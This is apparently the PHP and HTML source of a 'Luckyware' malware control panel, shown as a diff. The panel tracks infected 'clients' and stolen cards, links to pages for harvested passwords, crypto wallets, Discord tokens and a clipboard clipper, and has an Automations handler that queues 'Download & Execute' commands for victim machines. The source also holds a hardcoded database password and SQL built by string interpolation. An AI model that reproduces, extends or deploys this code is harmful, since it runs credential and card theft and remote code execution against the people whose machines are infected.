<h1 class="text-stone-300 fntBold text-2xl tracking-wide">
Lucky <span class="textCol">Ware</span>
</h1>
</div>
<div class="mx-5 mt-6">
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Admin/Users';"
class="dg w-full text-left px-5 py-4 rounded-lg btn border-b brdCol mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Users</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-users textCol mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Admin/Logins';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Login Logs</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-door-open text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Back</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-gear text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
</div>
</div>
</div>
<div class="col-span-10 mx-5 mt-10"> <!-- CONTENT -->
<div class="grid xl:grid-cols-4 sm:grid-cols-2 gap-5"> <!-- STATS -->
<div class="1 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg w-96"><i
class="fa-solid fa-earth-americas text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Total Clients</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $mytk; ?>
</h1>
</div>
</div>
</div>
<div class="2 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-globe text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Active Clients</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $myaktv; ?>
</h1>
</div>
</div>
</div>
<div class="3 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-clipboard text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Total Cards</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $mystole; ?>
</h1>
</div>
</div>
</div>
<a href="https://<?php echo $domainyess; ?>/Subscriptions" class="block">
<div class="4 bg rounded-lg px-5 py-5 btn cursor-pointer hover:opacity-90 transition">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-money-bill text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Subscription</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $role; ?>
</h1>
</div>
</div>
</div>
</a>
</div>
<div class="rounded-lg mt-5 bg pb-5 btn"> <!-- TABLE -->
<div class="grid grid-cols-2">
<div class="1">
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400">
<i class="fa-solid fa-users mr-1 icon"></i>
<span id="cookiesHeaderText"> Users</span>
</h1>
<i id="loadingIcon" class="fas fa-spinner fa-spin ml-2" style="display: none;"></i>
</div>
<style>
.entry-search-container {
display: flex;
align-items: center;
/* Vertically center the items */
}
</style>
<div class="2 text-right mx-5 mt-2">
<div class="grid grid-cols-4 gap-5">
<div class="0">
<h1 style="color: #111111;">s</h1>
</div>
<div class="1">
<select id="entriesSelect" class="text-stone-400 dg px-2 py-2 rounded-lg">
<option value="10">10</option>
<option value="25">25</option>
<option value="50">50</option>
<option value="75">75</option>
<option value="100">100</option>
</select>
</div>
<div class="2 col-span-2">
<div class="sc-container">
<input data-sc="" id="searchInput"
class="smoothCaretInput dg py-2 px-3 rounded-lg text-stone-400"
placeholder="Search Logs" type="text">
<div class="caret" style="width: 2px; height: 60%; background-color: #e61b0a;">
</div>
</div>
</div>
</div>
</div>
</div>
<hr class="mx-5 mt-2 border-stone-800">
<style>
.hover-link {
color: #97928E;
transition: color 0.3s ease-in-out;
}
.hover-link:hover {
color: #f54b42;
}
.truncate-cell {
max-width: 100px;
/* Adjust the maximum width as needed */
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
</style>
<div class="table-responsive">
<table id="DashTable" class="table-fixed w-full mt-5">
<thead class="">
<tr class="text-center">
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Acc ID </h1>
</th>
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Username </h1>
</th>
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Mail </h1>
</th>
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Last Country </h1>
</th>
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">IP </h1>
</th>
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Role </h1>
</th>
</tr>
</thead>
<tbody id="logsContent" class="mt-5">
<style>
.hover-link {
color: #97928E;
/* Initial color */
transition: color 0.3s ease-in-out;
/* Color transition with animation */
}
.hover-link:hover {
color: #f54b42;
/* Color on hover */
}
input::placeholder {
color: #a8a29e;
}
</style>
<script>
function deleteRecord(id) {
if (confirm('Are you sure you want to delete this record?')) {
// Create a hidden form and submit it with the ID
var form = document.createElement('form');
form.method = 'post';
form.action = '';
var input = document.createElement('input');
input.type = 'hidden';
input.name = 'id';
input.value = id;
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
}
function opensite(url) {
window.open(url);
}
function copyText(element) {
/* Copy text into clipboard */
navigator.clipboard.writeText(element);
}
</script>
</tbody>
</table>
</div>
<script>
// Function to refresh the DataTable
function refreshDataTable() {
var table = $('#DashTable').DataTable();
table.ajax.reload(null, false); // Reload without resetting page
}
// Function to initialize the DataTable
function initializeDataTable() {
// Initialize DataTable with server-side processing
var table = $('#DashTable').DataTable({
serverSide: true,
"lengthMenu": [10, 25, 50, 75, 100],
"language": {
"search": "Search Data: " // Replace with your custom text
},
ajax: {
url: 'fandars.php', // Replace with the correct path to your PHP script
type: 'POST',
beforeSend: function() {
// Show the header text with a loading animation
$('#cookiesHeaderText').html(' Users <i class="fas fa-spinner fa-spin"></i>');
},
complete: function() {
// Restore the header text to "Cookies" after the data is loaded
$('#cookiesHeaderText').html(' Users');
}
},
columns: [{
data: 0
},
{
data: 1
},
{
data: 2
},
{
data: 3
},
{
data: 4
},
{
data: 5
}
],
paging: true,
ordering: true,
dom: 'lrtip' // This specifies the DataTables elements to display
});
// Add an event listener to your custom search input
$('#searchInput').on('keyup', function() {
// Get the input value
var inputValue = $(this).val();
// Use DataTables' search() method to filter the table
table.search(inputValue).draw();
});
// Add an event listener to the entry number drop-down
$('#entriesSelect').on('change', function() {
// Get the selected value
var selectedValue = $(this).val();
// Change the number of entries displayed per page
table.page.len(selectedValue).draw();
});
// Hide the default DataTables length dropdown
$('div.dataTables_length').css('display', 'none');
// Optionally, you can remove the label as well
$('label[for="DashTable_length"]').css('display', 'none');
}
// Call the initializeDataTable function on page load
$(document).ready(function() {
initializeDataTable();
// Refresh the DataTable every 1 minute (60000 milliseconds)
setInterval(refreshDataTable, 60000);
});
</script>
</div>
</div>
</div> <!-- end -->
<style>
@keyframes topFlyIn {
from {
transform: translateY(-100%);
opacity: 0;
}
to {
transform: translateY(0);
opacity: 1;
}
}
/* Define the left-flying animation keyframes */
@keyframes leftFlyIn {
from {
transform: translateX(-100%);
opacity: 0;
}
to {
transform: translateX(0);
opacity: 1;
}
}
/* Define the right-flying animation keyframes */
@keyframes rightFlyIn {
from {
transform: translateX(100%);
opacity: 0;
}
to {
transform: translateX(0);
opacity: 1;
}
}
/* Define the bottom-flying animation keyframes */
@keyframes bottomFlyIn {
from {
transform: translateY(100%);
opacity: 0;
}
to {
transform: translateY(0);
opacity: 1;
}
}
/* Apply the animation to elements with the respective class */
.top-flying {
animation-name: topFlyIn;
animation-duration: 0.8s;
animation-timing-function: ease;
animation-fill-mode: both;
opacity: 0;
transform: translateY(-100%);
}
.left-flying {
animation-name: leftFlyIn;
animation-duration: 0.8s;
animation-timing-function: ease;
animation-fill-mode: both;
opacity: 0;
transform: translateX(-100%);
}
.right-flying {
animation-name: rightFlyIn;
animation-duration: 0.8s;
animation-timing-function: ease;
animation-fill-mode: both;
opacity: 0;
transform: translateX(100%);
}
.bottom-flying {
animation-name: bottomFlyIn;
animation-duration: 0.8s;
animation-timing-function: ease;
animation-fill-mode: both;
opacity: 0;
transform: translateY(200%);
}
</style>
<script src="../assets/js/status.js"></script>
<style>
input::placeholder {
color: #a8a29e;
}
</style>
<script>
document.addEventListener("DOMContentLoaded", function() {
// Wait for fonts and stylesheets
Promise.all([
document.fonts.ready,
new Promise(resolve => {
// Check if all stylesheets are loaded
const styleSheets = Array.from(document.styleSheets);
if (styleSheets.every(sheet => sheet.loaded !== false)) {
resolve();
} else {
window.addEventListener('load', resolve);
}
})
]).then(() => {
const overlay = document.querySelector('.loading-overlay');
// Add the fade-out class
overlay.classList.add('fade-out');
// Remove the element after the transition completes
overlay.addEventListener('transitionend', function() {
overlay.parentNode.removeChild(overlay);
}, {
once: true
});
});
});
// Preload custom fonts if you're using any
const fonts = ['Kanit'];
fonts.forEach(font => {
new FontFace(font, `url(path/to/${font}.woff2)`)
.load()
.then(loadedFont => document.fonts.add(loadedFont));
});
</script>
</body>
</html>
@@ -0,0 +1,260 @@
<?php
session_start();
// Set content type to JSON
header('Content-Type: application/json');
// Validate session data
$role = $_SESSION['Role'] ?? '';
$secretkey = $_SESSION['secret_key'] ?? '';
/**
* Validate string length
*/
function isStringLengthGreaterThan5($inputString) {
return is_string($inputString) && strlen($inputString) > 5;
}
/**
* Enhanced input sanitization with strict validation
*/
function sanitizeInput($input) {
if (!is_string($input) || empty($input)) {
return '';
}
// Define forbidden characters and SQL keywords
$forbiddenChars = ['(', ')', '=', '*', ';', '--', '/*', '*/', 'union', 'select', 'insert', 'update', 'delete', 'drop'];
$input_lower = strtolower($input);
// Check for forbidden characters and SQL keywords
foreach ($forbiddenChars as $char) {
if (strpos($input_lower, strtolower($char)) !== false) {
return '';
}
}
return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
}
/**
* Validate user permissions
*/
function validateUserPermissions($role, $secretkey) {
if (empty($role) || empty($secretkey)) {
return false;
}
$validRoles = ['Founder', 'Admin', 'Special', 'Premium', 'Trial', 'User'];
return in_array($role, $validRoles);
}
/**
* Create secure database connection using PDO
*/
function createDatabaseConnection() {
$host = 'localhost';
$dbname = 'luckyminer';
$db_username = 'miner';
$db_password = 'Sifre.12345';
try {
$pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $db_username, $db_password);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
return $pdo;
} catch (PDOException $e) {
error_log("Database connection failed: " . $e->getMessage());
return false;
}
}
/**
* Truncate text for display
*/
function truncateText($text, $maxLength = 45) {
if (strlen($text) > $maxLength) {
return substr($text, 0, $maxLength) . '...';
}
return $text;
}
// Main execution
try {
// Validate HTTP method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
throw new Exception('Invalid request method');
}
// Validate session and permissions
if (!validateUserPermissions($role, $secretkey) || !isStringLengthGreaterThan5($secretkey)) {
http_response_code(403);
echo json_encode(['error' => 'Access denied - Invalid session or insufficient permissions']);
exit;
}
// Create database connection
$pdo = createDatabaseConnection();
if (!$pdo) {
http_response_code(500);
echo json_encode(['error' => 'Database connection failed']);
exit;
}
// Validate and sanitize DataTables parameters
$draw = filter_input(INPUT_POST, 'draw', FILTER_VALIDATE_INT);
$start = filter_input(INPUT_POST, 'start', FILTER_VALIDATE_INT);
$length = filter_input(INPUT_POST, 'length', FILTER_VALIDATE_INT);
if ($draw === false || $start === false || $length === false) {
throw new Exception('Invalid DataTables parameters');
}
// Limit length to prevent excessive data retrieval
$length = min($length, 1000);
// Get and validate search value
$searchValue = '';
if (isset($_POST['search']['value'])) {
$rawSearchValue = $_POST['search']['value'];
$sanitizedSearch = sanitizeInput($rawSearchValue);
if (!empty($sanitizedSearch) && strlen($sanitizedSearch) > 0) {
$searchValue = substr($sanitizedSearch, 0, 100); // Limit to 100 chars for security
}
}
// Define sortable columns (whitelist approach)
$sortableColumns = [
0 => 'ActionID',
1 => 'ActionInfo',
2 => 'ActionSentTime',
3 => 'ActionID' // For buttons column, sort by ActionID
];
// Validate sorting parameters
$orderColumnIndex = filter_input(INPUT_POST, 'order', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY);
$orderColumn = 'ActionID'; // Default sort column
$orderDirection = 'DESC'; // Default sort direction
if (is_array($orderColumnIndex) && isset($orderColumnIndex[0]['column']) && isset($orderColumnIndex[0]['dir'])) {
$columnIndex = intval($orderColumnIndex[0]['column']);
$direction = strtoupper($orderColumnIndex[0]['dir']);
if (isset($sortableColumns[$columnIndex]) && in_array($direction, ['ASC', 'DESC'])) {
$orderColumn = $sortableColumns[$columnIndex];
$orderDirection = $direction;
}
}
// Build base query with role-based filtering
$baseWhere = "WHERE ActionSentTime LIKE :download_filter";
$params = ['download_filter' => '%Download%'];
// Role-based filtering
if ($role !== "Founder") {
$baseWhere .= " AND ActionOwner = :owner_id";
$params['owner_id'] = $secretkey;
}
// Add search conditions if search value exists
$searchWhere = "";
if (!empty($searchValue)) {
$searchWhere = " AND (
ActionInfo LIKE :search1 OR
ActionStatus LIKE :search2 OR
ActionType LIKE :search3
)";
$searchPattern = '%' . $searchValue . '%';
$params['search1'] = $searchPattern;
$params['search2'] = $searchPattern;
$params['search3'] = $searchPattern;
}
// Build the main data query
$dataQuery = "SELECT ActionID, ActionInfo, ActionSentTime, ActionStatus, ActionType
FROM actions
$baseWhere $searchWhere
ORDER BY $orderColumn $orderDirection
LIMIT :start, :length";
$stmt = $pdo->prepare($dataQuery);
// Bind parameters
foreach ($params as $key => $value) {
$stmt->bindValue(":$key", $value, PDO::PARAM_STR);
}
$stmt->bindValue(':start', $start, PDO::PARAM_INT);
$stmt->bindValue(':length', $length, PDO::PARAM_INT);
$stmt->execute();
$results = $stmt->fetchAll();
// Process results
$data = [];
foreach ($results as $row) {
// Sanitize and truncate action info
$actionInfo = htmlspecialchars($row['ActionInfo'] ?? '', ENT_QUOTES, 'UTF-8');
$truncatedInfo = truncateText($actionInfo, 45);
// Sanitize other fields
$actionId = intval($row['ActionID']);
$actionSentTime = htmlspecialchars($row['ActionSentTime'] ?? '', ENT_QUOTES, 'UTF-8');
// Generate secure delete button
$buttonsHtml = '
<div class="pt-2">
<button class="bgCol px-4 py-1 rounded text-stone-300" onclick="deleteRecord(' . $actionId . ')">
<i class="fa-solid fa-trash miAuto text-sm"></i>
</button>
</div>
';
$data[] = [
$actionId,
$truncatedInfo,
$actionSentTime,
$buttonsHtml
];
}
// Get total count
$countQuery = "SELECT COUNT(*) as total
FROM actions
$baseWhere $searchWhere";
$countStmt = $pdo->prepare($countQuery);
// Bind the same parameters for count query (excluding LIMIT params)
foreach ($params as $key => $value) {
$countStmt->bindValue(":$key", $value, PDO::PARAM_STR);
}
$countStmt->execute();
$totalRecords = $countStmt->fetch()['total'];
// Prepare response
$response = [
'draw' => $draw,
'recordsTotal' => intval($totalRecords),
'recordsFiltered' => intval($totalRecords),
'data' => $data
];
echo json_encode($response, JSON_UNESCAPED_UNICODE);
} catch (Exception $e) {
// Log error and return generic error response
error_log("Actions DataTables Error: " . $e->getMessage());
http_response_code(500);
echo json_encode([
'draw' => $draw ?? 0,
'recordsTotal' => 0,
'recordsFiltered' => 0,
'data' => [],
'error' => 'An error occurred while processing your request'
]);
}
?>
@@ -0,0 +1,878 @@
<?php
session_start();
$domainyess = $_SERVER['HTTP_HOST'];
$secretkey = $_SESSION['secret_key'];
$username = $_SESSION['admin_name'];
$role = $_SESSION['Role'];
if (!isset($_SESSION['admin_name'])) {
header('location:../Login/');
} else {
if ($role == 'Trial') {
header('location: https://' . $domainyess . '/Subscriptions');
}
$conn = mysqli_connect("localhost", "miner", "Sifre.12345", "luckyminer");
if ($role == 'Founder') {
$selectu = "SELECT * FROM miners";
$resultu = mysqli_query($conn, $selectu);
$mytk = mysqli_num_rows($resultu);
$selectan = "SELECT * FROM cards";
$resultan = mysqli_query($conn, $selectan);
$mystole = mysqli_num_rows($resultan);
$fiveMinutesAgo = time() - 360;
$selectana = "SELECT * FROM miners WHERE LastPing >= $fiveMinutesAgo";
} else {
$selectu = "SELECT * FROM miners WHERE OwnerID = '$secretkey'";
$resultu = mysqli_query($conn, $selectu);
$mytk = mysqli_num_rows($resultu);
$selectan = "SELECT * FROM cards WHERE OwnerID = '$secretkey'";
$resultan = mysqli_query($conn, $selectan);
$mystole = mysqli_num_rows($resultan);
$fiveMinutesAgo = time() - 360;
$selectana = "SELECT * FROM miners WHERE OwnerID = '$secretkey' AND LastPing >= $fiveMinutesAgo";
}
$resultanss = mysqli_query($conn, $selectana);
$myaktv = mysqli_num_rows($resultanss);
}
function sanitizeInput($input)
{
// Define the list of forbidden characters
$forbiddenChars = ['(', ')', '=', '*'];
$isac = '0';
// Check if the input contains any forbidden characters
foreach ($forbiddenChars as $char) {
if (strpos($input, $char) !== false) {
// Forbidden character found, handle the error (you can customize this part)
$isac = '1';
}
}
if ($isac == '1') {
return 'NoSpecialChar';
} else {
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
}
if (isset($_POST["savv"])) {
$Acton = $_POST['powar'];
$sql = "INSERT INTO actions (HWID, ActionInfo, ActionType, ActionOwner, ActionStatus, ActionSentTime) VALUES ('0',?,'exc', ?, '0', 'Download & Execute')";
$stmttc = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmttc, "ss", $Acton, $secretkey);
mysqli_stmt_execute($stmttc);
}
if (isset($_POST['id'])) {
// Handle the deletion here
$idA = $_POST['id'];
$sqlUpdate = "DELETE FROM actions WHERE ActionID = ?";
$stmtUpdate = $conn->prepare($sqlUpdate);
$stmtUpdate->bind_param("i", $idA);
if ($stmtUpdate->execute()) {
} else {
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="../assets/css/custom.css">
<link rel="stylesheet" href="../assets/css/style.css">
<link rel="stylesheet" href="../assets/css/hover.css">
<script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="../../assets/fontaw/css/all.min.css">
<script src="https://dooovid.github.io/smoothcaret/demo/smoothCaret.min.js" defer></script>
<meta content="Luckyware" property="og:title" />
<meta content="Luck is something you make and victory is something u take" property="og:description" />
<meta content="https://<?php echo $domainyess; ?>" property="og:url" />
<meta content="https://<?php echo $domainyess; ?>/icon.png" property="og:image" />
<meta content="#e2ff85" data-react-helmet="true" name="theme-color" />
<link rel="shortcut icon" href="https://<?php echo $domainyess; ?>/icon.png" />
<link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.4.2/css/all.css">
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.11.5/css/jquery.dataTables.css">
<script type="text/javascript" charset="utf8"
src="https://cdn.datatables.net/1.11.5/js/jquery.dataTables.js"></script>
<title>Automations</title>
<style>
.loading-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: #111111;
z-index: 9999;
display: flex;
justify-content: center;
align-items: center;
opacity: 1;
visibility: visible;
/* Add visibility property */
transition: all 1s ease;
/* Longer transition and apply to all */
}
.loading-overlay.fade-out {
opacity: 0;
visibility: hidden;
/* Hide element after fade */
}
.loading-spinner {
width: 50px;
height: 50px;
border: 3px solid #333;
border-radius: 50%;
border-top-color: #850000;
animation: spin 1s linear infinite;
}
@keyframes spin {
100% {
transform: rotate(360deg);
}
}
/* Custom DataTable styles */
#DashTable {
border-radius: 0.5rem;
background-color: var(--background);
border-collapse: separate;
border-spacing: 0 0.7rem;
width: 100%;
}
#DashTable th {
font-family: 'Kanit', sans-serif;
font-weight: 500;
color: #e7e5e4;
font-weight: bold;
text-align: center;
padding: 10px;
border-bottom: 1px solid var(--background);
}
#DashTable tr {
background-color: var(--background);
border-radius: 0.5rem;
}
#DashTable td {
background-color: #151515;
color: #a8a29e;
text-align: center;
border-bottom: 1px solid var(--background);
padding: 10px;
font-weight: 100;
font-family: 'Kanit', sans-serif;
}
#DashTable td:first-child {
border-radius: 0.5rem 0 0 0.5rem;
/* Rounded corners on the left side */
}
#DashTable td:last-child {
border-radius: 0 0.5rem 0.5rem 0;
/* Rounded corners on the right side */
}
#DashTable tbody tr:hover {
background-color: var(--main-hover-color);
color: #D6D3D1;
}
/* Custom hover link color */
.hover-link {
color: #111111;
transition: color 0.3s ease-in-out;
}
.hover-link:hover {
color: #f54b42;
}
.dataTables_wrapper .dataTables_paginate .paginate_button {
background-color: #151515;
/* Add !important to ensure white color */
border: none;
padding: 7px 10px;
margin: 2px;
cursor: pointer;
color: #a8a29e;
}
.dataTables_wrapper .dataTables_paginate .paginate_button:hover {
background-color: #181818;
border: none;
}
.dataTables_wrapper .dataTables_paginate .paginate_button.current {
background-color: #850000;
color: #e7e5e4;
border: none;
}
/* Text color for elements like "Showing x to x of x entries" */
.dataTables_info,
.dataTables_length,
.dataTables_paginate,
.dataTables_filter {
color: #a8a29e !important;
margin-bottom: 7px;
/* Add space below these elements */
}
/* Add space between "Show entries" and pagination controls */
.dataTables_length,
.dataTables_paginate {
margin-top: 7px;
}
/* Color for the "Show x entries" dropdown and options */
.dataTables_length select {
background-color: #111111 !important;
color: #d6d3d1 !important;
border: 1px solid #181818 !important;
/* Remove border to make it borderless */
padding: 5px;
}
/* Color for the pagination controls */
.dataTables_paginate a,
.dataTables_paginate span,
.dataTables_paginate .ellipsis {
background-color: #111111;
color: #d6d3d1 !important;
/* Important to override DataTable's default styles */
border: none;
padding: 5px 10px;
margin: 2px;
cursor: pointer;
}
/* Hover color for pagination controls */
.dataTables_paginate a:hover {
background-color: #181818;
border: none;
}
/* Current page number color */
.dataTables_paginate .current {
background-color: #850000;
color: #d6d3d1 !important;
/* Important to override DataTable's default styles */
border: none;
}
/* DataTable search box styles */
.dataTables_wrapper .dataTables_filter input {
background-color: var(--background);
color: #ffffff;
border: 1px solid #181818;
/* Add a 1px gray border */
border-radius: 5px;
padding: 5px;
}
/* DataTable ordering arrow styles */
.dataTables_wrapper .dataTables_wrapper .sorting:after,
.dataTables_wrapper .dataTables_wrapper .sorting:before,
.dataTables_wrapper .dataTables_wrapper .sorting_asc:after,
.dataTables_wrapper .dataTables_wrapper .sorting_asc:before,
.dataTables_wrapper .dataTables_wrapper .sorting_desc:after,
.dataTables_wrapper .dataTables_wrapper .sorting_desc:before {
color: var(--main-color);
}
/* DataTable table responsive */
.table-responsive {
background-color: #111111;
color: #D6D3D1;
padding: 15px;
border-radius: 5px;
overflow-x: auto;
}
/* DataTable scrollbar styles (if needed) */
#DashTable::-webkit-scrollbar {
width: 8px;
}
#DashTable::-webkit-scrollbar-thumb {
background-color: var(--main-color);
}
#DashTable::-webkit-scrollbar-track {
background-color: var(--secondary-background);
}
.current {
background-color: #850000;
}
</style>
</head>
<body class="dg">
<div class="loading-overlay">
<div class="loading-spinner"></div>
</div>
<div id="mobile topNav" class="bg xl:hidden"> <!-- MOBILE TOPNAV -->
<div class="grid sm:grid-cols-2 px-5 py-3">
<div class="1 text-left">
<div class="flex">
<img class="w-12" src="https://<?php echo $domainyess; ?>/icon.png" alt="">
<h1 class="py-5 fntBold tracking-wide text-lg text-stone-300 ml-3">Luckyware <span
class="textCol">Builder</span></h1>
</div>
</div>
<div class="2 text-right">
<button class="text-xl text-stone-300 py-5"><i class="fa-solid fa-bars"></i></button>
</div>
</div>
</div>
<div class="grid xl:grid-cols-12"> <!-- start -->
<div class="col-span-2 bg xl:grid sm:hidden pb-24 rounded-lg"> <!-- DESKTOP SIDENAV -->
<div class="1">
<div class="flex justify-center mt-10">
<h1 class="text-stone-300 fntBold text-2xl tracking-wide">
Lucky <span class="textCol">Ware</span>
</h1>
</div>
<div class="mx-5 mt-6">
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Dashboard</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-house text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Builder';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Builder</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-hammer text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Passwords';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Password</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-key text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Wallets';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Wallets</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-wallet text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Tokens';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Tokens</h1>
</div>
<div class="2 text-right">
<i class="fa-brands fa-discord text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Automations';"
class="dg w-full text-left px-5 py-4 rounded-lg btn border-b brdCol mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Automations</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-play textCol mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Clipper';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Clipper</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-clipboard text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Cards';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Cards</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-credit-card text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Settings';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Settings</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-gear text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="window.open('https://<?php echo $domainyess; ?>/Dashboard/Information', '_blank');"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Information</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-circle-info text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
</div>
</div>
</div>
<div class="col-span-10 mx-5 mt-10"> <!-- CONTENT -->
<div class="grid xl:grid-cols-4 sm:grid-cols-2 gap-5"> <!-- STATS -->
<div class="1 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg w-96"><i
class="fa-solid fa-earth-americas text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Total Clients</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $mytk; ?>
</h1>
</div>
</div>
</div>
<div class="2 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-globe text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Active Clients</h1>
